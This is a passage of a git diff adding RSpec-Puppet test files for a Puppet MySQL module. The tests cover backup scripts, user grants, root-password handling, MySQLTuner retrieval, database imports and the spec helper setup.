+ let(:facts) do
+ facts.merge(root_home: '/root',
+ fqdn: 'localhost',
+ hostname: 'localhost')
+ end
+
+ ['root@127.0.0.1',
+ 'root@::1',
+ '@localhost',
+ 'root@localhost.localdomain',
+ '@localhost.localdomain',
+ '@%'].each do |user|
+ it "removes Mysql_User[#{user}] for fqdn==localhost" do
+ is_expected.to contain_mysql_user(user).with_ensure('absent')
+ end
+ end
+ end
+
+ context 'with fqdn==localhost.localdomain' do
+ let(:facts) do
+ facts.merge(root_home: '/root',
+ fqdn: 'localhost.localdomain',
+ hostname: 'localhost')
+ end
+
+ ['root@127.0.0.1',
+ 'root@::1',
+ '@localhost',
+ 'root@localhost.localdomain',
+ '@localhost.localdomain',
+ '@%'].each do |user|
+ it "removes Mysql_User[#{user}] for fqdn==localhost.localdomain" do
+ is_expected.to contain_mysql_user(user).with_ensure('absent')
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_backup_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_backup_spec.rb
new file mode 100644
index 000000000..e9d194b6a
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_backup_spec.rb
@@ -0,0 +1,405 @@
+require 'spec_helper'
+
+describe 'mysql::server::backup' do
+ on_supported_os.each do |os, facts|
+ context "on #{os}" do
+ let(:pre_condition) do
+ <<-EOF
+ class { 'mysql::server': }
+ EOF
+ end
+ let(:facts) do
+ facts.merge(root_home: '/root')
+ end
+
+ let(:default_params) do
+ { 'backupuser' => 'testuser',
+ 'backuppassword' => 'testpass',
+ 'backupdir' => '/tmp',
+ 'backuprotate' => '25',
+ 'delete_before_dump' => true,
+ 'execpath' => '/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin',
+ 'maxallowedpacket' => '1M' }
+ end
+
+ context 'standard conditions' do
+ let(:params) { default_params }
+
+ # Cannot use that_requires here, doesn't work on classes.
+ it {
+ is_expected.to contain_mysql_user('testuser@localhost').with(
+ require: 'Class[Mysql::Server::Root_password]',
+ )
+ }
+
+ it {
+ is_expected.to contain_mysql_grant('testuser@localhost/*.*').with(
+ privileges: ['SELECT', 'RELOAD', 'LOCK TABLES', 'SHOW VIEW', 'PROCESS'],
+ ).that_requires('Mysql_user[testuser@localhost]')
+ }
+
+ context 'with triggers included' do
+ let(:params) do
+ { include_triggers: true }.merge(default_params)
+ end
+
+ it {
+ is_expected.to contain_mysql_grant('testuser@localhost/*.*').with(
+ privileges: ['SELECT', 'RELOAD', 'LOCK TABLES', 'SHOW VIEW', 'PROCESS', 'TRIGGER'],
+ ).that_requires('Mysql_user[testuser@localhost]')
+ }
+ end
+
+ it {
+ is_expected.to contain_cron('mysql-backup').with(
+ command: '/usr/local/sbin/mysqlbackup.sh',
+ ensure: 'present',
+ )
+ }
+
+ it {
+ is_expected.to contain_file('mysqlbackup.sh').with(
+ path: '/usr/local/sbin/mysqlbackup.sh',
+ ensure: 'present',
+ )
+ }
+
+ it {
+ is_expected.to contain_file('mysqlbackupdir').with(
+ path: '/tmp',
+ ensure: 'directory',
+ )
+ }
+
+ it 'has compression by default' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{bzcat -zc},
+ )
+ end
+
+ it 'skips backing up events table by default' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="--ignore-table=mysql.event"},
+ )
+ end
+
+ it 'does not mention triggers by default because file_per_database is false' do
+ is_expected.to contain_file('mysqlbackup.sh').without_content(
+ %r{.*triggers.*},
+ )
+ end
+
+ it 'does not mention routines by default because file_per_database is false' do
+ is_expected.to contain_file('mysqlbackup.sh').without_content(
+ %r{.*routines.*},
+ )
+ end
+
+ it 'has 25 days of rotation' do
+ # MySQL counts from 0
+ is_expected.to contain_file('mysqlbackup.sh').with_content(%r{.*ROTATE=24.*})
+ end
+
+ it 'has a standard PATH' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(%r{PATH=/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin})
+ end
+ end
+
+ context 'custom ownership and mode for backupdir' do
+ let(:params) do
+ { backupdirmode: '0750',
+ backupdirowner: 'testuser',
+ backupdirgroup: 'testgrp' }.merge(default_params)
+ end
+
+ it {
+ is_expected.to contain_file('mysqlbackupdir').with(
+ path: '/tmp', ensure: 'directory',
+ mode: '0750', owner: 'testuser',
+ group: 'testgrp'
+ )
+ }
+ end
+
+ context 'with compression disabled' do
+ let(:params) do
+ { backupcompress: false }.merge(default_params)
+ end
+
+ it {
+ is_expected.to contain_file('mysqlbackup.sh').with(
+ path: '/usr/local/sbin/mysqlbackup.sh',
+ ensure: 'present',
+ )
+ }
+
+ it 'is able to disable compression' do
+ is_expected.to contain_file('mysqlbackup.sh').without_content(
+ %r{.*bzcat -zc.*},
+ )
+ end
+ end
+
+ context 'with mysql.events backedup' do
+ let(:params) do
+ { ignore_events: false }.merge(default_params)
+ end
+
+ it {
+ is_expected.to contain_file('mysqlbackup.sh').with(
+ path: '/usr/local/sbin/mysqlbackup.sh',
+ ensure: 'present',
+ )
+ }
+
+ it 'is able to backup events table' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="--events"},
+ )
+ end
+ end
+
+ context 'with database list specified' do
+ let(:params) do
+ { backupdatabases: ['mysql'] }.merge(default_params)
+ end
+
+ it {
+ is_expected.to contain_file('mysqlbackup.sh').with(
+ path: '/usr/local/sbin/mysqlbackup.sh',
+ ensure: 'present',
+ )
+ }
+
+ it 'has a backup file for each database' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{mysql | bzcat -zc \${DIR}\\\${PREFIX}mysql_`date'},
+ )
+ end
+
+ it 'skips backup triggers by default' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-triggers"},
+ )
+ end
+
+ it 'skips backing up routines by default' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-routines"},
+ )
+ end
+
+ context 'with include_triggers set to true' do
+ let(:params) do
+ default_params.merge(backupdatabases: ['mysql'],
+ include_triggers: true)
+ end
+
+ it 'backups triggers when asked' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --triggers"},
+ )
+ end
+ end
+
+ context 'with include_triggers set to false' do
+ let(:params) do
+ default_params.merge(backupdatabases: ['mysql'],
+ include_triggers: false)
+ end
+
+ it 'skips backing up triggers when asked to skip' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-triggers"},
+ )
+ end
+ end
+
+ context 'with include_routines set to true' do
+ let(:params) do
+ default_params.merge(backupdatabases: ['mysql'],
+ include_routines: true)
+ end
+
+ it 'backups routines when asked' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --routines"},
+ )
+ end
+ end
+
+ context 'with include_routines set to false' do
+ let(:params) do
+ default_params.merge(backupdatabases: ['mysql'],
+ include_triggers: true)
+ end
+
+ it 'skips backing up routines when asked to skip' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-routines"},
+ )
+ end
+ end
+ end
+
+ context 'with file per database' do
+ let(:params) do
+ default_params.merge(file_per_database: true)
+ end
+
+ it 'loops through backup all databases' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(%r{.*SHOW DATABASES.*})
+ end
+
+ context 'with compression disabled' do
+ let(:params) do
+ default_params.merge(file_per_database: true, backupcompress: false)
+ end
+
+ it 'loops through backup all databases without compression #show databases' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(%r{.*SHOW DATABASES.*})
+ end
+ it 'loops through backup all databases without compression #bzcat' do
+ is_expected.to contain_file('mysqlbackup.sh').without_content(%r{.*bzcat -zc.*})
+ end
+ end
+
+ it 'skips backup triggers by default' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-triggers"},
+ )
+ end
+
+ it 'skips backing up routines by default' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-routines"},
+ )
+ end
+
+ context 'with include_triggers set to true' do
+ let(:params) do
+ default_params.merge(file_per_database: true,
+ include_triggers: true)
+ end
+
+ it 'backups triggers when asked' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --triggers"},
+ )
+ end
+ end
+
+ context 'with include_triggers set to false' do
+ let(:params) do
+ default_params.merge(file_per_database: true,
+ include_triggers: false)
+ end
+
+ it 'skips backing up triggers when asked to skip' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-triggers"},
+ )
+ end
+ end
+
+ context 'with include_routines set to true' do
+ let(:params) do
+ default_params.merge(file_per_database: true,
+ include_routines: true)
+ end
+
+ it 'backups routines when asked' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --routines"},
+ )
+ end
+ end
+
+ context 'with include_routines set to false' do
+ let(:params) do
+ default_params.merge(file_per_database: true,
+ include_triggers: true)
+ end
+
+ it 'skips backing up routines when asked to skip' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{ADDITIONAL_OPTIONS="\$ADDITIONAL_OPTIONS --skip-routines"},
+ )
+ end
+ end
+ end
+
+ context 'with postscript' do
+ let(:params) do
+ default_params.merge(postscript: 'rsync -a /tmp backup01.local-lan:')
+ end
+
+ it 'is add postscript' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{rsync -a \/tmp backup01.local-lan:},
+ )
+ end
+ end
+
+ context 'with postscripts' do
+ let(:params) do
+ default_params.merge(postscript: [
+ 'rsync -a /tmp backup01.local-lan:',
+ 'rsync -a /tmp backup02.local-lan:',
+ ])
+ end
+
+ it 'is add postscript' do
+ is_expected.to contain_file('mysqlbackup.sh').with_content(
+ %r{.*rsync -a \/tmp backup01.local-lan:\n\nrsync -a \/tmp backup02.local-lan:.*},
+ )
+ end
+ end
+
+ context 'with the xtrabackup provider' do
+ let(:params) do
+ default_params.merge(provider: 'xtrabackup')
+ end
+
+ it 'contains the wrapper script' do
+ is_expected.to contain_file('xtrabackup.sh').with_content(
+ %r{^innobackupex\s+.*?"\$@"},
+ )
+ end
+
+ context 'with prescript defined' do
+ let(:params) do
+ default_params.merge(provider: 'xtrabackup',
+ prescript: [
+ 'rsync -a /tmp backup01.local-lan:',
+ 'rsync -a /tmp backup02.local-lan:',
+ ])
+ end
+
+ it 'contains the prescript' do
+ is_expected.to contain_file('xtrabackup.sh').with_content(
+ %r{.*rsync -a \/tmp backup01.local-lan:\n\nrsync -a \/tmp backup02.local-lan:.*},
+ )
+ end
+ end
+
+ context 'with postscript defined' do
+ let(:params) do
+ default_params.merge(provider: 'xtrabackup',
+ postscript: [
+ 'rsync -a /tmp backup01.local-lan:',
+ 'rsync -a /tmp backup02.local-lan:',
+ ])
+ end
+
+ it 'contains the prostscript' do
+ is_expected.to contain_file('xtrabackup.sh').with_content(
+ %r{.*rsync -a \/tmp backup01.local-lan:\n\nrsync -a \/tmp backup02.local-lan:.*},
+ )
+ end
+ end
+ end
+ end
+ end
+ # rubocop:enable RSpec/NestedGroups
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb
new file mode 100644
index 000000000..3a64ac3c8
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_monitor_spec.rb
@@ -0,0 +1,36 @@
+require 'spec_helper'
+describe 'mysql::server::monitor' do
+ on_supported_os.each do |os, facts|
+ context "on #{os}" do
+ let(:facts) do
+ facts.merge(root_home: '/root')
+ end
+
+ let :pre_condition do
+ "include 'mysql::server'"
+ end
+
+ let :default_params do
+ {
+ mysql_monitor_username: 'monitoruser',
+ mysql_monitor_password: 'monitorpass',
+ mysql_monitor_hostname: 'monitorhost',
+ }
+ end
+
+ let :params do
+ default_params
+ end
+
+ it { is_expected.to contain_mysql_user('monitoruser@monitorhost') }
+
+ it {
+ is_expected.to contain_mysql_grant('monitoruser@monitorhost/*.*').with(
+ ensure: 'present', user: 'monitoruser@monitorhost',
+ table: '*.*', privileges: %w[PROCESS SUPER],
+ require: 'Mysql_user[monitoruser@monitorhost]'
+ )
+ }
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb
new file mode 100644
index 000000000..3bca3d94e
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_mysqltuner_spec.rb
@@ -0,0 +1,44 @@
+require 'spec_helper'
+
+describe 'mysql::server::mysqltuner' do
+ on_supported_os.each do |os, facts|
+ context "on #{os}" do
+ let(:facts) do
+ facts.merge(staging_http_get: 'curl',
+ root_home: '/root')
+ end
+
+ context 'ensure => present' do
+ it { is_expected.to compile }
+ it {
+ is_expected.to contain_staging__file('mysqltuner-v1.3.0').with(source: 'https://github.com/major/MySQLTuner-perl/raw/v1.3.0/mysqltuner.pl')
+ }
+ end
+
+ context 'ensure => absent' do
+ let(:params) { { ensure: 'absent' } }
+
+ it { is_expected.to compile }
+ it { is_expected.to contain_file('/usr/local/bin/mysqltuner').with(ensure: 'absent') }
+ end
+
+ context 'custom version' do
+ let(:params) { { version: 'v1.2.0' } }
+
+ it { is_expected.to compile }
+ it {
+ is_expected.to contain_staging__file('mysqltuner-v1.2.0').with(source: 'https://github.com/major/MySQLTuner-perl/raw/v1.2.0/mysqltuner.pl')
+ }
+ end
+
+ context 'custom source' do
+ let(:params) { { source: '/tmp/foo' } }
+
+ it { is_expected.to compile }
+ it {
+ is_expected.to contain_staging__file('mysqltuner-/tmp/foo').with(source: '/tmp/foo')
+ }
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_spec.rb
new file mode 100644
index 000000000..07d4917a0
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/classes/mysql_server_spec.rb
@@ -0,0 +1,256 @@
+require 'spec_helper'
+
+describe 'mysql::server' do
+ on_supported_os.each do |os, facts|
+ context "on #{os}" do
+ let(:facts) do
+ facts.merge(root_home: '/root')
+ end
+
+ context 'with defaults' do
+ it { is_expected.to contain_class('mysql::server::install') }
+ it { is_expected.to contain_class('mysql::server::config') }
+ it { is_expected.to contain_class('mysql::server::service') }
+ it { is_expected.to contain_class('mysql::server::root_password') }
+ it { is_expected.to contain_class('mysql::server::providers') }
+ end
+
+ context 'with remove_default_accounts set' do
+ let(:params) { { remove_default_accounts: true } }
+
+ it { is_expected.to contain_class('mysql::server::account_security') }
+ end
+
+ context 'when not managing config file' do
+ let(:params) { { manage_config_file: false } }
+
+ it { is_expected.to compile.with_all_deps }
+ end
+
+ context 'when not managing the service' do
+ let(:params) { { service_manage: false } }
+
+ it { is_expected.to compile.with_all_deps }
+ it { is_expected.not_to contain_service('mysqld') }
+ end
+
+ context 'mysql::server::install' do
+ it 'contains the package by default' do
+ is_expected.to contain_package('mysql-server').with(ensure: :present)
+ end
+ context 'with package_manage set to true' do
+ let(:params) { { package_manage: true } }
+
+ it { is_expected.to contain_package('mysql-server') }
+ end
+ context 'with package_manage set to false' do
+ let(:params) { { package_manage: false } }
+
+ it { is_expected.not_to contain_package('mysql-server') }
+ end
+ context 'with datadir overridden' do
+ let(:params) { { override_options: { 'mysqld' => { 'datadir' => '/tmp' } } } }
+
+ it { is_expected.to contain_mysql_datadir('/tmp') }
+ end
+ end
+
+ context 'mysql::server::service' do
+ context 'with defaults' do
+ it { is_expected.to contain_service('mysqld') }
+ end
+ context 'with package_manage set to true' do
+ let(:params) { { package_manage: true } }
+
+ it { is_expected.to contain_service('mysqld').that_requires('Package[mysql-server]') }
+ end
+ context 'with package_manage set to false' do
+ let(:params) { { package_manage: false } }
+
+ it { is_expected.to contain_service('mysqld') }
+ it { is_expected.not_to contain_service('mysqld').that_requires('Package[mysql-server]') }
+ end
+ context 'service_enabled set to false' do
+ let(:params) { { service_enabled: false } }
+
+ it do
+ is_expected.to contain_service('mysqld').with(ensure: :stopped)
+ end
+ context 'with package_manage set to true' do
+ let(:params) { { package_manage: true } }
+
+ it { is_expected.to contain_package('mysql-server') }
+ end
+ context 'with package_manage set to false' do
+ let(:params) { { package_manage: false } }
+
+ it { is_expected.not_to contain_package('mysql-server') }
+ end
+ context 'with datadir overridden' do
+ let(:params) { { override_options: { 'mysqld' => { 'datadir' => '/tmp' } } } }
+
+ it { is_expected.to contain_mysql_datadir('/tmp') }
+ end
+ end
+ context 'with log-error overridden' do
+ let(:params) { { override_options: { 'mysqld' => { 'log-error' => '/tmp/error.log' } } } }
+
+ it { is_expected.to contain_file('/tmp/error.log') }
+ end
+ context 'default bind-address' do
+ it { is_expected.to contain_file('mysql-config-file').with_content(%r{^bind-address = 127.0.0.1}) }
+ end
+ context 'with defined bind-address' do
+ let(:params) { { override_options: { 'mysqld' => { 'bind-address' => '1.1.1.1' } } } }
+
+ it { is_expected.to contain_file('mysql-config-file').with_content(%r{^bind-address = 1.1.1.1}) }
+ end
+ context 'without bind-address' do
+ let(:params) { { override_options: { 'mysqld' => { 'bind-address' => :undef } } } }
+
+ it { is_expected.to contain_file('mysql-config-file').without_content(%r{^bind-address}) }
+ end
+ end
+
+ context 'mysql::server::root_password' do
+ describe 'when defaults' do
+ it {
+ is_expected.to contain_exec('remove install pass').with(
+ command: 'mysqladmin -u root --password=$(grep -o \'[^ ]\\+$\' /.mysql_secret) password \'\' && rm -f /.mysql_secret',
+ onlyif: 'test -f /.mysql_secret',
+ path: '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin',
+ )
+ }
+ it { is_expected.not_to contain_mysql_user('root@localhost') }
+ it { is_expected.not_to contain_file('/root/.my.cnf') }
+ end
+ describe 'when root_password set' do
+ let(:params) { { root_password: 'SET' } }
+
+ it { is_expected.to contain_mysql_user('root@localhost') }
+ if Puppet.version.to_f >= 3.0
+ it { is_expected.to contain_file('/root/.my.cnf').with(show_diff: false).that_requires('Mysql_user[root@localhost]') }
+ else
+ it { is_expected.to contain_file('/root/.my.cnf').that_requires('Mysql_user[root@localhost]') }
+ end
+ end
+ describe 'when root_password set, create_root_user set to false' do
+ let(:params) { { root_password: 'SET', create_root_user: false } }
+
+ it { is_expected.not_to contain_mysql_user('root@localhost') }
+ if Puppet.version.to_f >= 3.0
+ it { is_expected.to contain_file('/root/.my.cnf').with(show_diff: false) }
+ else
+ it { is_expected.to contain_file('/root/.my.cnf') }
+ end
+ end
+ describe 'when root_password set, create_root_my_cnf set to false' do
+ let(:params) { { root_password: 'SET', create_root_my_cnf: false } }
+
+ it { is_expected.to contain_mysql_user('root@localhost') }
+ it { is_expected.not_to contain_file('/root/.my.cnf') }
+ end
+ describe 'when root_password set, create_root_user and create_root_my_cnf set to false' do
+ let(:params) { { root_password: 'SET', create_root_user: false, create_root_my_cnf: false } }
+
+ it { is_expected.not_to contain_mysql_user('root@localhost') }
+ it { is_expected.not_to contain_file('/root/.my.cnf') }
+ end
+ describe 'when install_secret_file set to /root/.mysql_secret' do
+ let(:params) { { install_secret_file: '/root/.mysql_secret' } }
+
+ it {
+ is_expected.to contain_exec('remove install pass').with(
+ command: 'mysqladmin -u root --password=$(grep -o \'[^ ]\\+$\' /root/.mysql_secret) password \'\' && rm -f /root/.mysql_secret',
+ onlyif: 'test -f /root/.mysql_secret',
+ )
+ }
+ end
+ end
+
+ context 'mysql::server::providers' do
+ describe 'with users' do
+ let(:params) do
+ { users: {
+ 'foo@localhost' => {
+ 'max_connections_per_hour' => '1',
+ 'max_queries_per_hour' => '2',
+ 'max_updates_per_hour' => '3',
+ 'max_user_connections' => '4',
+ 'password_hash' => '*F3A2A51A9B0F2BE2468926B4132313728C250DBF',
+ },
+ 'foo2@localhost' => {},
+ } }
+ end
+
+ it {
+ is_expected.to contain_mysql_user('foo@localhost').with(
+ max_connections_per_hour: '1', max_queries_per_hour: '2',
+ max_updates_per_hour: '3', max_user_connections: '4',
+ password_hash: '*F3A2A51A9B0F2BE2468926B4132313728C250DBF'
+ )
+ }
+ it {
+ is_expected.to contain_mysql_user('foo2@localhost').with(
+ max_connections_per_hour: nil, max_queries_per_hour: nil,
+ max_updates_per_hour: nil, max_user_connections: nil,
+ password_hash: nil
+ )
+ }
+ end
+
+ describe 'with grants' do
+ let(:params) do
+ { grants: {
+ 'foo@localhost/somedb.*' => {
+ 'user' => 'foo@localhost',
+ 'table' => 'somedb.*',
+ 'privileges' => %w[SELECT UPDATE],
+ 'options' => ['GRANT'],
+ },
+ 'foo2@localhost/*.*' => {
+ 'user' => 'foo2@localhost',
+ 'table' => '*.*',
+ 'privileges' => ['SELECT'],
+ },
+ } }
+ end
+
+ it {
+ is_expected.to contain_mysql_grant('foo@localhost/somedb.*').with(
+ user: 'foo@localhost', table: 'somedb.*',
+ privileges: %w[SELECT UPDATE], options: ['GRANT']
+ )
+ }
+ it {
+ is_expected.to contain_mysql_grant('foo2@localhost/*.*').with(
+ user: 'foo2@localhost', table: '*.*',
+ privileges: ['SELECT'], options: nil
+ )
+ }
+ end
+
+ describe 'with databases' do
+ let(:params) do
+ { databases: {
+ 'somedb' => {
+ 'charset' => 'latin1',
+ 'collate' => 'latin1',
+ },
+ 'somedb2' => {},
+ } }
+ end
+
+ it {
+ is_expected.to contain_mysql_database('somedb').with(
+ charset: 'latin1',
+ collate: 'latin1',
+ )
+ }
+ it { is_expected.to contain_mysql_database('somedb2') }
+ end
+ end
+ end
+ end
+ # rubocop:enable RSpec/NestedGroups
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/default_facts.yml b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/default_facts.yml
new file mode 100644
index 000000000..3248be5aa
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/default_facts.yml
@@ -0,0 +1,8 @@
+# Use default_module_facts.yml for module specific facts.
+#
+# Facts specified here will override the values provided by rspec-puppet-facts.
+---
+concat_basedir: "/tmp"
+ipaddress: "172.16.254.254"
+is_pe: false
+macaddress: "AA:AA:AA:AA:AA:AA"
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/defines/mysql_db_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/defines/mysql_db_spec.rb
new file mode 100644
index 000000000..ab2550867
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/defines/mysql_db_spec.rb
@@ -0,0 +1,75 @@
+require 'spec_helper'
+
+describe 'mysql::db', type: :define do
+ on_supported_os.each do |os, facts|
+ context "on #{os}" do
+ let(:facts) do
+ facts.merge(root_home: '/root')
+ end
+
+ let(:title) { 'test_db' }
+
+ let(:params) do
+ { 'user' => 'testuser',
+ 'password' => 'testpass' }
+ end
+
+ it 'does not notify the import sql exec if no sql script was provided' do
+ is_expected.to contain_mysql_database('test_db').without_notify
+ end
+
+ it 'subscribes to database if sql script is given' do
+ params['sql'] = 'test_sql'
+ is_expected.to contain_exec('test_db-import').with_subscribe('Mysql_database[test_db]')
+ end
+
+ it 'onlies import sql script on creation if not enforcing' do
+ params.merge!('sql' => 'test_sql', 'enforce_sql' => false)
+ is_expected.to contain_exec('test_db-import').with_refreshonly(true)
+ end
+
+ it 'imports sql script on creation if enforcing #refreshonly' do
+ params.merge!('sql' => 'test_sql', 'enforce_sql' => true)
+ is_expected.to contain_exec('test_db-import').with_refreshonly(false)
+ end
+ it 'imports sql script on creation if enforcing #command' do
+ params.merge!('sql' => 'test_sql', 'enforce_sql' => true)
+ is_expected.to contain_exec('test_db-import').with_command('cat test_sql | mysql test_db')
+ end
+
+ it 'imports sql script with custom command on creation if enforcing #refreshonly' do
+ params.merge!('sql' => 'test_sql', 'enforce_sql' => true, 'import_cat_cmd' => 'zcat')
+ is_expected.to contain_exec('test_db-import').with_refreshonly(false)
+ end
+ it 'imports sql script with custom command on creation if enforcing #command' do
+ params.merge!('sql' => 'test_sql', 'enforce_sql' => true, 'import_cat_cmd' => 'zcat')
+ is_expected.to contain_exec('test_db-import').with_command('zcat test_sql | mysql test_db')
+ end
+
+ it 'imports sql scripts when more than one is specified' do
+ params['sql'] = %w[test_sql test_2_sql]
+ is_expected.to contain_exec('test_db-import').with_command('cat test_sql test_2_sql | mysql test_db')
+ end
+
+ it 'does not create database' do
+ params.merge!('ensure' => 'absent', 'host' => 'localhost')
+ is_expected.to contain_mysql_database('test_db').with_ensure('absent')
+ end
+ it 'does not create database user' do
+ params.merge!('ensure' => 'absent', 'host' => 'localhost')
+ is_expected.to contain_mysql_user('testuser@localhost').with_ensure('absent')
+ end
+
+ it 'creates with an appropriate collate and charset' do
+ params.merge!('charset' => 'utf8', 'collate' => 'utf8_danish_ci')
+ is_expected.to contain_mysql_database('test_db').with('charset' => 'utf8',
+ 'collate' => 'utf8_danish_ci')
+ end
+
+ it 'uses dbname parameter as database name instead of name' do
+ params['dbname'] = 'real_db'
+ is_expected.to contain_mysql_database('real_db')
+ end
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper.rb
new file mode 100644
index 000000000..c20a31773
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper.rb
@@ -0,0 +1,24 @@
+require 'puppetlabs_spec_helper/module_spec_helper'
+require 'rspec-puppet-facts'
+include RspecPuppetFacts
+
+default_facts = {
+ puppetversion: Puppet.version,
+ facterversion: Facter.version,
+}
+
+default_facts_path = File.expand_path(File.join(File.dirname(__FILE__), 'default_facts.yml'))
+default_module_facts_path = File.expand_path(File.join(File.dirname(__FILE__), 'default_module_facts.yml'))
+
+if File.exist?(default_facts_path) && File.readable?(default_facts_path)
+ default_facts.merge!(YAML.safe_load(File.read(default_facts_path)))
+end
+
+if File.exist?(default_module_facts_path) && File.readable?(default_module_facts_path)
+ default_facts.merge!(YAML.safe_load(File.read(default_module_facts_path)))
+end
+
+RSpec.configure do |c|
+ c.default_facts = default_facts
+end
+require 'spec_helper_local'
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_acceptance.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_acceptance.rb
new file mode 100644
index 000000000..be0f74b48
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_acceptance.rb
@@ -0,0 +1,57 @@
+require 'puppet'
+require 'beaker-rspec'
+require 'beaker/puppet_install_helper'
+require 'beaker/module_install_helper'
+require 'beaker/i18n_helper'
+require 'beaker/task_helper'
+
+run_puppet_install_helper
+install_ca_certs unless pe_install?
+install_bolt_on(hosts) unless pe_install?
+install_module_on(hosts)
+install_module_dependencies_on(hosts)
+
+RSpec.configure do |c|
+ # Readable test descriptions
+ c.formatter = :documentation
+
+ # detect the situation where PUP-5016 is triggered and skip the idempotency tests in that case
+ # also note how fact('puppetversion') is not available because of PUP-4359
+ if fact('osfamily') == 'Debian' && fact('operatingsystemmajrelease') == '8' && shell('puppet --version').stdout =~ %r{^4\.2}
+ c.filter_run_excluding skip_pup_5016: true
+ end
+
+ # Configure all nodes in nodeset
+ c.before :suite do
+ run_puppet_access_login(user: 'admin') if pe_install? && puppet_version =~ %r{(5\.\d\.\d)}
+ hosts.each do |host|
+ # This will be removed, this is temporary to test localisation.
+ if (fact('osfamily') == 'Debian' || fact('osfamily') == 'RedHat') && (puppet_version >= '4.10.5' && puppet_version < '5.2.0')
+ on(host, 'mkdir /opt/puppetlabs/puppet/share/locale/ja')
+ on(host, 'touch /opt/puppetlabs/puppet/share/locale/ja/puppet.po')
+ end
+ if fact('osfamily') == 'Debian'
+ # install language on debian systems
+ install_language_on(host, 'ja_JP.utf-8') if not_controller(host)
+ # This will be removed, this is temporary to test localisation.
+ end
+ # Required for binding tests.
+ if fact('osfamily') == 'RedHat'
+ if fact('operatingsystemmajrelease') =~ %r{7} || fact('operatingsystem') =~ %r{Fedora}
+ shell('yum install -y bzip2')
+ end
+ end
+ on host, puppet('module', 'install', 'stahnma/epel')
+ end
+ end
+end
+
+shared_examples 'a idempotent resource' do
+ it 'applies with no errors' do
+ apply_manifest(pp, catch_failures: true)
+ end
+
+ it 'applies a second time without changes', :skip_pup_5016 do
+ apply_manifest(pp, catch_changes: true)
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_local.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/spec_helper_local.rb
new file mode 100644
index 000000000..9ff7f23e5
--- /dev/null
